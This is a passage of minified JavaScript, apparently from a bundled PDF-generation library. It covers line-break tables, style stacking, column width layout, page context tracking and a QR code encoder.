            e.DI_BRK = r = 0, e.IN_BRK = i = 1, e.CI_BRK = t = 2, e.CP_BRK = n = 3, e.PR_BRK = o = 4, e.pairTable = [[o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, o, n, o, o, o, o, o, o, o], [r, o, o, i, i, o, o, o, o, i, i, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, o, o, o, o, i, i, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [o, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, i, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, i, r, i, i, r, r, o, t, o, i, i, i, i, i, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, r, i, o, o, o, r, r, i, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [r, o, o, i, r, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, o, o, t, o, r, r, r, r, r, r], [r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, r, o, r, r, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, r, r, i, i, i, r, i, i, i, r, r, o, t, o, r, r, r, r, r, r], [i, o, o, i, i, i, o, o, o, i, i, i, i, i, i, i, i, i, i, i, o, t, o, i, i, i, i, i, i], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, i, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, i, i, i, i, r, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, i, i, r], [r, o, o, i, i, i, o, o, o, r, i, r, r, r, r, i, i, i, r, r, o, t, o, r, r, r, r, i, r], [r, o, o, i, i, i, o, o, o, r, r, r, r, r, r, r, i, i, r, r, o, t, o, r, r, r, r, r, i]]
        }).call(this)
    }, function (t, e) {
        "use strict";

        function n(t, e) {
            this.defaultStyle = e || {}, this.styleDictionary = t, this.styleOverrides = []
        }

        n.prototype.clone = function () {
            var t = new n(this.styleDictionary, this.defaultStyle);
            return this.styleOverrides.forEach(function (e) {
                t.styleOverrides.push(e)
            }), t
        }, n.prototype.push = function (t) {
            this.styleOverrides.push(t)
        }, n.prototype.pop = function (t) {
            for (t = t || 1; t-- > 0;) this.styleOverrides.pop()
        }, n.prototype.autopush = function (t) {
            if ("string" == typeof t || t instanceof String) return 0;
            var e = [];
            t.style && (e = Array.isArray(t.style) ? t.style : [t.style]);
            for (var n = 0, r = e.length; n < r; n++) this.push(e[n]);
            var i = {}, o = !1;
            return ["font", "fontSize", "bold", "italics", "alignment", "color", "columnGap", "fillColor", "decoration", "decorationStyle", "decorationColor", "background", "lineHeight", "noWrap", "markerColor"].forEach(function (e) {
                void 0 !== t[e] && null !== t[e] && (i[e] = t[e], o = !0)
            }), o && this.push(i), e.length + (o ? 1 : 0)
        }, n.prototype.auto = function (t, e) {
            var n = this.autopush(t), r = e();
            return n > 0 && this.pop(n), r
        }, n.prototype.getProperty = function (t) {
            if (this.styleOverrides) for (var e = this.styleOverrides.length - 1; e >= 0; e--) {
                var n = this.styleOverrides[e];
                if ("string" == typeof n || n instanceof String) {
                    var r = this.styleDictionary[n];
                    if (r && null !== r[t] && void 0 !== r[t]) return r[t]
                } else if (void 0 !== n[t] && null !== n[t]) return n[t]
            }
            return this.defaultStyle && this.defaultStyle[t]
        }, t.exports = n
    }, function (t, e) {
        "use strict";

        function n(t, e) {
            var n = [], o = 0, a = 0, s = [], u = 0, c = 0, l = [], f = e;
            t.forEach(function (t) {
                r(t) ? (n.push(t), o += t._minWidth, a += t._maxWidth) : i(t) ? (s.push(t), u = Math.max(u, t._minWidth), c = Math.max(c, t._maxWidth)) : l.push(t)
            }), l.forEach(function (t) {
                "string" == typeof t.width && /\d+%/.test(t.width) && (t.width = parseFloat(t.width) * f / 100), t.width < t._minWidth && t.elasticWidth ? t._calcWidth = t._minWidth : t._calcWidth = t.width, e -= t._calcWidth
            });
            var h = o + u * s.length, p = a + c * s.length;
            if (h >= e) n.forEach(function (t) {
                t._calcWidth = t._minWidth
            }), s.forEach(function (t) {
                t._calcWidth = u
            }); else {
                if (p < e) n.forEach(function (t) {
                    t._calcWidth = t._maxWidth, e -= t._calcWidth
                }); else {
                    var d = e - h, g = p - h;
                    n.forEach(function (t) {
                        var n = t._maxWidth - t._minWidth;
                        t._calcWidth = t._minWidth + n * d / g, e -= t._calcWidth
                    })
                }
                if (s.length > 0) {
                    var v = e / s.length;
                    s.forEach(function (t) {
                        t._calcWidth = v
                    })
                }
            }
        }

        function r(t) {
            return "auto" === t.width
        }

        function i(t) {
            return null === t.width || void 0 === t.width || "*" === t.width || "star" === t.width
        }

        function o(t) {
            for (var e = {min: 0, max: 0}, n = {min: 0, max: 0}, o = 0, a = 0, s = t.length; a < s; a++) {
                var u = t[a];
                i(u) ? (n.min = Math.max(n.min, u._minWidth), n.max = Math.max(n.max, u._maxWidth), o++) : r(u) ? (e.min += u._minWidth, e.max += u._maxWidth) : (e.min += void 0 !== u.width && u.width || u._minWidth, e.max += void 0 !== u.width && u.width || u._maxWidth)
            }
            return o && (e.min += o * n.min, e.max += o * n.max), e
        }

        t.exports = {buildColumnWidths: n, measureMinMax: o, isAutoColumn: r, isStarColumn: i}
    }, function (t, e) {
        "use strict";

        function n() {
            for (var t = {}, e = 0, n = arguments.length; e < n; e++) {
                var r = arguments[e];
                if (r) for (var i in r) r.hasOwnProperty(i) && (t[i] = r[i])
            }
            return t
        }

        function r(t, e, n) {
            switch (t.type) {
                case"ellipse":
                case"rect":
                    t.x += e, t.y += n;
                    break;
                case"line":
                    t.x1 += e, t.x2 += e, t.y1 += n, t.y2 += n;
                    break;
                case"polyline":
                    for (var r = 0, i = t.points.length; r < i; r++) t.points[r].x += e, t.points[r].y += n
            }
        }

        function i(t, e) {
            return "font" === t ? "font" : e
        }

        function o(t) {
            var e = {};
            return t && "[object Function]" === e.toString.call(t)
        }

        t.exports = {pack: n, fontStringify: i, offsetVector: r, isFunction: o}
    }, function (t, e) {
        "use strict";

        function n(t, e) {
            var n = {numeric: a, alphanumeric: s, octet: u}, r = {L: f, M: h, Q: p, H: d};
            e     = e || {};
            var i = e.version || -1, o = r[(e.eccLevel || "L").toUpperCase()], g = e.mode ? n[e.mode.toLowerCase()] : -1, v = "mask" in e ? e.mask : -1;
            if (g < 0) g = "string" == typeof t ? t.match(c) ? a : t.match(l) ? s : u : u; else if (g != a && g != s && g != u) throw"invalid or unsupported mode";
            if (null === (t = B(g, t))) throw"invalid data format";
            if (o < 0 || o > 3) throw"invalid ECC level";
            if (i < 0) {
                for (i = 1; i <= 40 && !(t.length <= L(i, g, o)); ++i) ;
                if (i > 40) throw"too large data for the Qr format"
            } else if (i < 1 || i > 40) throw"invalid Qr version! should be between 1 and 40";
            if (v != -1 && (v < 0 || v > 8)) throw"invalid mask";
            return G(t, i, g, o, v)
        }

        function r(t, e) {
            var r = [], i = t.background || "#fff", o = t.foreground || "#000", a = n(t, e), s = a.length, u = Math.floor(e.fit ? e.fit / s : 5), c = s * u;
            r.push({type: "rect", x: 0, y: 0, w: c, h: c, lineWidth: 0, color: i});
            for (var l = 0; l < s; ++l) for (var f = 0; f < s; ++f) a[l][f] && r.push({type: "rect", x: u * f, y: u * l, w: u, h: u, lineWidth: 0, color: o});
            return {canvas: r, size: c}
        }

        function i(t) {
            var e = r(t.qr, t);
            return t._canvas = e.canvas, t._width = t._height = t._minWidth = t._maxWidth = t._minHeight = t._maxHeight = e.size, t
        }

        for (var o = [null, [[10, 7, 17, 13], [1, 1, 1, 1], []], [[16, 10, 28, 22], [1, 1, 1, 1], [4, 16]], [[26, 15, 22, 18], [1, 1, 2, 2], [4, 20]], [[18, 20, 16, 26], [2, 1, 4, 2], [4, 24]], [[24, 26, 22, 18], [2, 1, 4, 4], [4, 28]], [[16, 18, 28, 24], [4, 2, 4, 4], [4, 32]], [[18, 20, 26, 18], [4, 2, 5, 6], [4, 20, 36]], [[22, 24, 26, 22], [4, 2, 6, 6], [4, 22, 40]], [[22, 30, 24, 20], [5, 2, 8, 8], [4, 24, 44]], [[26, 18, 28, 24], [5, 4, 8, 8], [4, 26, 48]], [[30, 20, 24, 28], [5, 4, 11, 8], [4, 28, 52]], [[22, 24, 28, 26], [8, 4, 11, 10], [4, 30, 56]], [[22, 26, 22, 24], [9, 4, 16, 12], [4, 32, 60]], [[24, 30, 24, 20], [9, 4, 16, 16], [4, 24, 44, 64]], [[24, 22, 24, 30], [10, 6, 18, 12], [4, 24, 46, 68]], [[28, 24, 30, 24], [10, 6, 16, 17], [4, 24, 48, 72]], [[28, 28, 28, 28], [11, 6, 19, 16], [4, 28, 52, 76]], [[26, 30, 28, 28], [13, 6, 21, 18], [4, 28, 54, 80]], [[26, 28, 26, 26], [14, 7, 25, 21], [4, 28, 56, 84]], [[26, 28, 28, 30], [16, 8, 25, 20], [4, 32, 60, 88]], [[26, 28, 30, 28], [17, 8, 25, 23], [4, 26, 48, 70, 92]], [[28, 28, 24, 30], [17, 9, 34, 23], [4, 24, 48, 72, 96]], [[28, 30, 30, 30], [18, 9, 30, 25], [4, 28, 52, 76, 100]], [[28, 30, 30, 30], [20, 10, 32, 27], [4, 26, 52, 78, 104]], [[28, 26, 30, 30], [21, 12, 35, 29], [4, 30, 56, 82, 108]], [[28, 28, 30, 28], [23, 12, 37, 34], [4, 28, 56, 84, 112]], [[28, 30, 30, 30], [25, 12, 40, 34], [4, 32, 60, 88, 116]], [[28, 30, 30, 30], [26, 13, 42, 35], [4, 24, 48, 72, 96, 120]], [[28, 30, 30, 30], [28, 14, 45, 38], [4, 28, 52, 76, 100, 124]], [[28, 30, 30, 30], [29, 15, 48, 40], [4, 24, 50, 76, 102, 128]], [[28, 30, 30, 30], [31, 16, 51, 43], [4, 28, 54, 80, 106, 132]], [[28, 30, 30, 30], [33, 17, 54, 45], [4, 32, 58, 84, 110, 136]], [[28, 30, 30, 30], [35, 18, 57, 48], [4, 28, 56, 84, 112, 140]], [[28, 30, 30, 30], [37, 19, 60, 51], [4, 32, 60, 88, 116, 144]], [[28, 30, 30, 30], [38, 19, 63, 53], [4, 28, 52, 76, 100, 124, 148]], [[28, 30, 30, 30], [40, 20, 66, 56], [4, 22, 48, 74, 100, 126, 152]], [[28, 30, 30, 30], [43, 21, 70, 59], [4, 26, 52, 78, 104, 130, 156]], [[28, 30, 30, 30], [45, 22, 74, 62], [4, 30, 56, 82, 108, 134, 160]], [[28, 30, 30, 30], [47, 24, 77, 65], [4, 24, 52, 80, 108, 136, 164]], [[28, 30, 30, 30], [49, 25, 81, 68], [4, 28, 56, 84, 112, 140, 168]]], a = 1, s = 2, u = 4, c = /^\d*$/, l = /^[A-Z0-9 $%*+\-.\/:]*$/, f = 1, h = 0, p = 3, d = 2, g = [], v = [-1], y = 0, m = 1; y < 255; ++y) g.push(m), v[m] = y, m = 2 * m ^ (m >= 128 ? 285 : 0);
        for (var b = [[]], y = 0; y < 30; ++y) {
            for (var w = b[y], x = [], S = 0; S <= y; ++S) {
                var k = S < y ? g[w[S]] : 0, _ = g[(y + (w[S - 1] || 0)) % 255];
                x.push(v[k ^ _])
            }
            b.push(x)
        }
        for (var C = {}, y = 0; y < 45; ++y) C["0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:".charAt(y)] = y;
        var A     = [function (t, e) {
            return (t + e) % 2 == 0
        }, function (t, e) {
            return t % 2 == 0
        }, function (t, e) {
            return e % 3 == 0
        }, function (t, e) {
            return (t + e) % 3 == 0
        }, function (t, e) {
            return ((t / 2 | 0) + (e / 3 | 0)) % 2 == 0
        }, function (t, e) {
            return t * e % 2 + t * e % 3 == 0
        }, function (t, e) {
            return (t * e % 2 + t * e % 3) % 2 == 0
        }, function (t, e) {
            return ((t + e) % 2 + t * e % 3) % 2 == 0
        }], E     = function (t) {
            return t > 6
        }, P      = function (t) {
            return 4 * t + 17
        }, I      = function (t) {
            var e = o[t], n = 16 * t * t + 128 * t + 64;
            return E(t) && (n -= 36), e[2].length && (n -= 25 * e[2].length * e[2].length - 10 * e[2].length - 55), n
        }, O      = function (t, e) {
            var n = I(t) & -8, r = o[t];
            return n -= 8 * r[0][e] * r[1][e]
        }, T      = function (t, e) {
            switch (e) {
                case a:
                    return t < 10 ? 10 : t < 27 ? 12 : 14;
                case s:
                    return t < 10 ? 9 : t < 27 ? 11 : 13;
                case u:
                    return t < 10 ? 8 : 16;
                case 8:
                    return t < 10 ? 8 : t < 27 ? 10 : 12
            }
        }, L      = function (t, e, n) {
            var r = O(t, n) - 4 - T(t, e);
            switch (e) {
                case a:
                    return 3 * (r / 10 | 0) + (r % 10 < 4 ? 0 : r % 10 < 7 ? 1 : 2);
                case s:
                    return 2 * (r / 11 | 0) + (r % 11 < 6 ? 0 : 1);
                case u:
                    return r / 8 | 0;
                case 8:
                    return r / 13 | 0
            }
        }, B      = function (t, e) {
            switch (t) {
                case a:
                    return e.match(c) ? e : null;
                case s:
                    return e.match(/^[A-Za-z0-9 $%*+\-.\/:]*$/) ? e.toUpperCase() : null;
                case u:
                    if ("string" == typeof e) {
                        for (var n = [], r = 0; r < e.length; ++r) {
                            var i = e.charCodeAt(r);
                            i < 128 ? n.push(i) : i < 2048 ? n.push(192 | i >> 6, 128 | 63 & i) : i < 65536 ? n.push(224 | i >> 12, 128 | i >> 6 & 63, 128 | 63 & i) : n.push(240 | i >> 18, 128 | i >> 12 & 63, 128 | i >> 6 & 63, 128 | 63 & i)
                        }
                        return n
                    }
                    return e
            }
        }, R      = function (t, e, n, r) {
            var i = [], o = 0, c = 8, l = n.length, f = function (t, e) {
                if (e >= c) {
                    for (i.push(o | t >> (e -= c)); e >= 8;) i.push(t >> (e -= 8) & 255);
                    o = 0, c = 8
                }
                e > 0 && (o |= (t & (1 << e) - 1) << (c -= e))
            }, h  = T(t, e);
            switch (f(e, 4), f(l, h), e) {
                case a:
                    for (var p = 2; p < l; p += 3) f(parseInt(n.substring(p - 2, p + 1), 10), 10);
                    f(parseInt(n.substring(p - 2), 10), [0, 4, 7][l % 3]);
                    break;
                case s:
                    for (var p = 1; p < l; p += 2) f(45 * C[n.charAt(p - 1)] + C[n.charAt(p)], 11);
                    l % 2 == 1 && f(C[n.charAt(p - 1)], 6);
                    break;
                case u:
                    for (var p = 0; p < l; ++p) f(n[p], 8)
            }
            for (f(0, 4), c < 8 && i.push(o); i.length + 1 < r;) i.push(236, 17);
            return i.length < r && i.push(236), i
        }, M      = function (t, e) {
            for (var n = t.slice(0), r = t.length, i = e.length, o = 0; o < i; ++o) n.push(0);
            for (var o = 0; o < r;) {
                var a = v[n[o++]];
                if (a >= 0) for (var s = 0; s < i; ++s) n[o + s] ^= g[(a + e[s]) % 255]
            }
            return n.slice(r)
        }, z      = function (t, e, n) {
            for (var r = [], i = t.length / e | 0, o = 0, a = e - t.length % e, s = 0; s < a; ++s) r.push(o), o += i;
            for (var s = a; s < e; ++s) r.push(o), o += i + 1;
            r.push(o);
            for (var u = [], s = 0; s < e; ++s) u.push(M(t.slice(r[s], r[s + 1]), n));
            for (var c = [], l = t.length / e | 0, s = 0; s < l; ++s) for (var f = 0; f < e; ++f) c.push(t[r[f] + s]);
            for (var f = a; f < e; ++f) c.push(t[r[f + 1] - 1]);
            for (var s = 0; s < n.length; ++s) for (var f = 0; f < e; ++f) c.push(u[f][s]);
            return c
        }, F      = function (t, e, n, r) {
            for (var i = t << r, o = e - 1; o >= 0; --o) i >> r + o & 1 && (i ^= n << o);
            return t << r | i
        }, D      = function (t) {
            for (var e = o[t], n = P(t), r = [], i = [], a = 0; a < n; ++a) r.push([]), i.push([]);
            var s = function (t, e, n, o, a) {
                for (var s = 0; s < n; ++s) for (var u = 0; u < o; ++u) r[t + s][e + u] = a[s] >> u & 1, i[t + s][e + u] = 1
            };
            s(0, 0, 9, 9, [127, 65, 93, 93, 93, 65, 383, 0, 64]), s(n - 8, 0, 8, 9, [256, 127, 65, 93, 93, 93, 65, 127]), s(0, n - 8, 9, 8, [254, 130, 186, 186, 186, 130, 254, 0, 0]);
            for (var a = 9; a < n - 8; ++a) r[6][a] = r[a][6] = 1 & ~a, i[6][a] = i[a][6] = 1;
            for (var u = e[2], c = u.length, a = 0; a < c; ++a) for (var l = 0 === a || a === c - 1 ? 1 : 0, f = 0 === a ? c - 1 : c, h = l; h < f; ++h) s(u[a], u[h], 5, 5, [31, 17, 21, 17, 31]);
            if (E(t)) for (var p = F(t, 6, 7973, 12), d = 0, a = 0; a < 6; ++a) for (var h = 0; h < 3; ++h) r[a][n - 11 + h] = r[n - 11 + h][a] = p >> d++ & 1, i[a][n - 11 + h] = i[n - 11 + h][a] = 1;
            return {matrix: r, reserved: i}
        }, N      = function (t, e, n) {
            for (var r = t.length, i = 0, o = -1, a = r - 1; a >= 0; a -= 2) {
                6 == a && --a;
                for (var s = o < 0 ? r - 1 : 0, u = 0; u < r; ++u) {
                    for (var c = a; c > a - 2; --c) e[s][c] || (t[s][c] = n[i >> 3] >> (7 & ~i) & 1, ++i);
                    s += o
                }
                o = -o
            }
            return t
        }, U      = function (t, e, n) {
            for (var r = A[n], i = t.length, o = 0; o < i; ++o) for (var a = 0; a < i; ++a) e[o][a] || (t[o][a] ^= r(o, a));
            return t
        }, W      = function (t, e, n, r) {
            for (var i = t.length, o = 21522 ^ F(n << 3 | r, 5, 1335, 10), a = 0; a < 15; ++a) {
                var s = [0, 1, 2, 3, 4, 5, 7, 8, i - 7, i - 6, i - 5, i - 4, i - 3, i - 2, i - 1][a],
                    u = [i - 1, i - 2, i - 3, i - 4, i - 5, i - 6, i - 7, i - 8, 7, 5, 4, 3, 2, 1, 0][a];
                t[s][8] = t[8][u] = o >> a & 1
            }
            return t
        }, j      = function (t) {
            for (var e = function (t) {
                for (var e = 0, n = 0; n < t.length; ++n) t[n] >= 5 && (e += t[n] - 5 + 3);
                for (var n = 5; n < t.length; n += 2) {
                    var r = t[n];
                    t[n - 1] == r && t[n - 2] == 3 * r && t[n - 3] == r && t[n - 4] == r && (t[n - 5] >= 4 * r || t[n + 1] >= 4 * r) && (e += 40)
                }
                return e
            }, n       = t.length, r = 0, i = 0, o = 0; o < n; ++o) {
                var a, s = t[o];
                a        = [0];
                for (var u = 0; u < n;) {
                    var c;
                    for (c = 0; u < n && s[u]; ++c) ++u;
                    for (a.push(c), c = 0; u < n && !s[u]; ++c) ++u;
                    a.push(c)
                }
                r += e(a), a = [0];
                for (var u = 0; u < n;) {
                    var c;
                    for (c = 0; u < n && t[u][o]; ++c) ++u;
                    for (a.push(c), c = 0; u < n && !t[u][o]; ++c) ++u;
                    a.push(c)
                }
                r += e(a);
                var l = t[o + 1] || [];
                i += s[0];
                for (var u = 1; u < n; ++u) {
                    var f = s[u];
                    i += f, s[u - 1] == f && l[u] === f && l[u - 1] === f && (r += 3)
                }
            }
            return r += 10 * (Math.abs(i / n / n - .5) / .05 | 0)
        }, G      = function (t, e, n, r, i) {
            var a = o[e], s = R(e, n, t, O(e, r) >> 3);
            s     = z(s, a[1][r], b[a[0][r]]);
            var u = D(e), c = u.matrix, l = u.reserved;
            if (N(c, l, s), i < 0) {
                U(c, l, 0), W(c, 0, r, 0);
                var f = 0, h = j(c);
                for (U(c, l, 0), i = 1; i < 8; ++i) {
                    U(c, l, i), W(c, 0, r, i);
                    var p = j(c);
                    h > p && (h = p, f = i), U(c, l, i)
                }
                i = f
            }
            return U(c, l, i), W(c, 0, r, i), c
        };
        t.exports = {measure: i}
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            this.pages = [], this.pageMargins = e, this.x = e.left, this.availableWidth = t.width - e.left - e.right, this.availableHeight = 0, this.page = -1, this.snapshots = [], this.endingCell = null, this.tracker = new a, this.addPage(t)
        }

        function i(t, e) {
            return void 0 === t ? e : ("string" == typeof t || t instanceof String) && "landscape" === t.toLowerCase() ? "landscape" : "portrait"
        }

        function o(t, e) {
            var n;
            return n = t.page > e.page ? t : e.page > t.page ? e : t.y > e.y ? t : e, {
                page: n.page,
                x: n.x,
                y: n.y,
                availableHeight: n.availableHeight,
                availableWidth: n.availableWidth
            }
        }

        var a = n(11);
        r.prototype.beginColumnGroup = function () {
            this.snapshots.push({
                x: this.x,
                y: this.y,
                availableHeight: this.availableHeight,
                availableWidth: this.availableWidth,
                page: this.page,
                bottomMost: {y: this.y, page: this.page},
                endingCell: this.endingCell,
                lastColumnWidth: this.lastColumnWidth
            }), this.lastColumnWidth = 0
        }, r.prototype.beginColumn = function (t, e, n) {
            var r = this.snapshots[this.snapshots.length - 1];
            this.calculateBottomMost(r), this.endingCell = n, this.page = r.page, this.x = this.x + this.lastColumnWidth + (e || 0), this.y = r.y, this.availableWidth = t, this.availableHeight = r.availableHeight, this.lastColumnWidth = t
        }, r.prototype.calculateBottomMost = function (t) {
            this.endingCell ? (this.saveContextInEndingCell(this.endingCell), this.endingCell = null) : t.bottomMost = o(this, t.bottomMost)
        }, r.prototype.markEnding = function (t) {
            this.page = t._columnEndingContext.page, this.x = t._columnEndingContext.x, this.y = t._columnEndingContext.y, this.availableWidth = t._columnEndingContext.availableWidth, this.availableHeight = t._columnEndingContext.availableHeight, this.lastColumnWidth = t._columnEndingContext.lastColumnWidth
        }, r.prototype.saveContextInEndingCell = function (t) {
            t._columnEndingContext = {
                page: this.page,
                x: this.x,
                y: this.y,
                availableHeight: this.availableHeight,
                availableWidth: this.availableWidth,
                lastColumnWidth: this.lastColumnWidth
            }
        }, r.prototype.completeColumnGroup = function () {
            var t = this.snapshots.pop();
            this.calculateBottomMost(t), this.endingCell = null, this.x = t.x, this.y = t.bottomMost.y, this.page = t.bottomMost.page, this.availableWidth = t.availableWidth, this.availableHeight = t.bottomMost.availableHeight, this.lastColumnWidth = t.lastColumnWidth
        }, r.prototype.addMargin = function (t, e) {
            this.x += t, this.availableWidth -= t + (e || 0)
        }, r.prototype.moveDown = function (t) {
            return this.y += t, this.availableHeight -= t, this.availableHeight > 0
        }, r.prototype.initializePage = function () {
            this.y = this.pageMargins.top, this.availableHeight = this.getCurrentPage().pageSize.height - this.pageMargins.top - this.pageMargins.bottom, this.pageSnapshot().availableWidth = this.getCurrentPage().pageSize.width - this.pageMargins.left - this.pageMargins.right
        }, r.prototype.pageSnapshot = function () {
            return this.snapshots[0] ? this.snapshots[0] : this
        }, r.prototype.moveTo = function (t, e) {
            void 0 !== t && null !== t && (this.x = t, this.availableWidth = this.getCurrentPage().pageSize.width - this.x - this.pageMargins.right), void 0 !== e && null !== e && (this.y = e, this.availableHeight = this.getCurrentPage().pageSize.height - this.y - this.pageMargins.bottom)
        }, r.prototype.beginDetachedBlock = function () {
            this.snapshots.push({
                x: this.x,
                y: this.y,
                availableHeight: this.availableHeight,
                availableWidth: this.availableWidth,
                page: this.page,
                endingCell: this.endingCell,
                lastColumnWidth: this.lastColumnWidth
            })
        }, r.prototype.endDetachedBlock = function () {
            var t = this.snapshots.pop();
            this.x = t.x, this.y = t.y, this.availableWidth = t.availableWidth, this.availableHeight = t.availableHeight, this.page = t.page, this.endingCell = t.endingCell, this.lastColumnWidth = t.lastColumnWidth
        };
        var s = function (t, e) {
            return e = i(e, t.pageSize.orientation), e !== t.pageSize.orientation ? {
                orientation: e,
                width: t.pageSize.height,
                height: t.pageSize.width
            } : {orientation: t.pageSize.orientation, width: t.pageSize.width, height: t.pageSize.height}
        };
        r.prototype.moveToNextPage = function (t) {
            var e = this.page + 1, n = this.page, r = this.y, i = e >= this.pages.length;
            if (i) {
                var o = this.availableWidth, a = this.getCurrentPage().pageSize.orientation, u = s(this.getCurrentPage(), t);
                this.addPage(u), a === u.orientation && (this.availableWidth = o)
            } else this.page = e, this.initializePage();
            return {newPageCreated: i, prevPage: n, prevY: r, y: this.y}
        }, r.prototype.addPage = function (t) {
            var e = {items: [], pageSize: t};
            return this.pages.push(e), this.page = this.pages.length - 1, this.initializePage(), this.tracker.emit("pageAdded"), e
        }, r.prototype.getCurrentPage = function () {
            return this.page < 0 || this.page >= this.pages.length ? null : this.pages[this.page]
        }, r.prototype.getCurrentPosition = function () {
            var t = this.getCurrentPage().pageSize, e = t.height - this.pageMargins.top - this.pageMargins.bottom, n = t.width - this.pageMargins.left - this.pageMargins.right;
            return {
                pageNumber: this.page + 1,
                pageOrientation: t.orientation,
                pageInnerHeight: e,
                pageInnerWidth: n,
                left: this.x,
                top: this.y,
                verticalRatio: (this.y - this.pageMargins.top) / e,
                horizontalRatio: (this.x - this.pageMargins.left) / n
            }
        }, t.exports = r
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            this.transactionLevel = 0, this.repeatables = [], this.tracker = e, this.writer = new o(t, e)
        }

        function i(t, e) {
            var n = e(t);
            return n || (t.moveToNextPage(), n = e(t)), n
        }

        var o = n(26);
        r.prototype.addLine = function (t, e, n) {
            return i(this, function (r) {
                return r.writer.addLine(t, e, n)
            })
        }, r.prototype.addImage = function (t, e) {
            return i(this, function (n) {
                return n.writer.addImage(t, e)
            })
        }, r.prototype.addQr = function (t, e) {
            return i(this, function (n) {
                return n.writer.addQr(t, e)
            })
        }, r.prototype.addVector = function (t, e, n, r) {
            return this.writer.addVector(t, e, n, r)
        }, r.prototype.addFragment = function (t, e, n, r) {
            this.writer.addFragment(t, e, n, r) || (this.moveToNextPage(), this.writer.addFragment(t, e, n, r))
        }, r.prototype.moveToNextPage = function (t) {
            var e = this.writer.context.moveToNextPage(t);
            e.newPageCreated ? this.repeatables.forEach(function (t) {
                this.writer.addFragment(t, !0)
            }, this) : this.repeatables.forEach(function (t) {
                this.writer.context.moveDown(t.height)
            }, this), this.writer.tracker.emit("pageChanged", {prevPage: e.prevPage, prevY: e.prevY, y: e.y})
        }, r.prototype.beginUnbreakableBlock = function (t, e) {
            0 == this.transactionLevel++ && (this.originalX = this.writer.context.x, this.writer.pushContext(t, e))
        }, r.prototype.commitUnbreakableBlock = function (t, e) {
            if (0 == --this.transactionLevel) {
                var n = this.writer.context;
                this.writer.popContext();
                var r = n.pages.length;
                if (r > 0) {
                    var i = n.pages[0];
                    if (i.xOffset = t, i.yOffset = e, r > 1) if (void 0 !== t || void 0 !== e) i.height = n.getCurrentPage().pageSize.height - n.pageMargins.top - n.pageMargins.bottom; else {
                        i.height = this.writer.context.getCurrentPage().pageSize.height - this.writer.context.pageMargins.top - this.writer.context.pageMargins.bottom;
                        for (var o = 0, a = this.repeatables.length; o < a; o++) i.height -= this.repeatables[o].height
                    } else i.height = n.y;
                    void 0 !== t || void 0 !== e ? this.writer.addFragment(i, !0, !0, !0) : this.addFragment(i)
                }
            }
        }, r.prototype.currentBlockToRepeatable = function () {
            var t = this.writer.context, e = {items: []};
            return t.pages[0].items.forEach(function (t) {
                e.items.push(t)
            }), e.xOffset = this.originalX, e.height = t.y, e
        }, r.prototype.pushToRepeatables = function (t) {
            this.repeatables.push(t)
        },
            r.prototype.popFromRepeatables = function () {
                this.repeatables.pop()
            }, r.prototype.context = function () {
            return this.writer.context
        }, t.exports = r
    }, function (t, e, n) {
        "use strict";

        function r(t, e) {
            this.context = t, this.contextStack = [], this.tracker = e
        }

        function i(t, e, n) {
            null === n || void 0 === n || n < 0 || n > t.items.length ? t.items.push(e) : t.items.splice(n, 0, e)
        }

        function o(t) {
            var e = new a(t.maxWidth);
            for (var n in t) t.hasOwnProperty(n) && (e[n] = t[n]);
            return e
        }

        var a = n(27), s = n(22).pack, u = n(22).offsetVector, c = n(24);
        r.prototype.addLine = function (t, e, n) {
            var r = t.getHeight(), o = this.context, a = o.getCurrentPage(), s = this.getCurrentPositionOnPage();
            return !(o.availableHeight < r || !a) && (t.x = o.x + (t.x || 0), t.y = o.y + (t.y || 0), this.alignLine(t), i(a, {
                type: "line",
                item: t
            }, n), this.tracker.emit("lineAdded", t), e || o.moveDown(r), s)
        }, r.prototype.alignLine = function (t) {
            var e = this.context.availableWidth, n = t.getWidth(), r = t.inlines && t.inlines.length > 0 && t.inlines[0].alignment, i = 0;
            switch (r) {
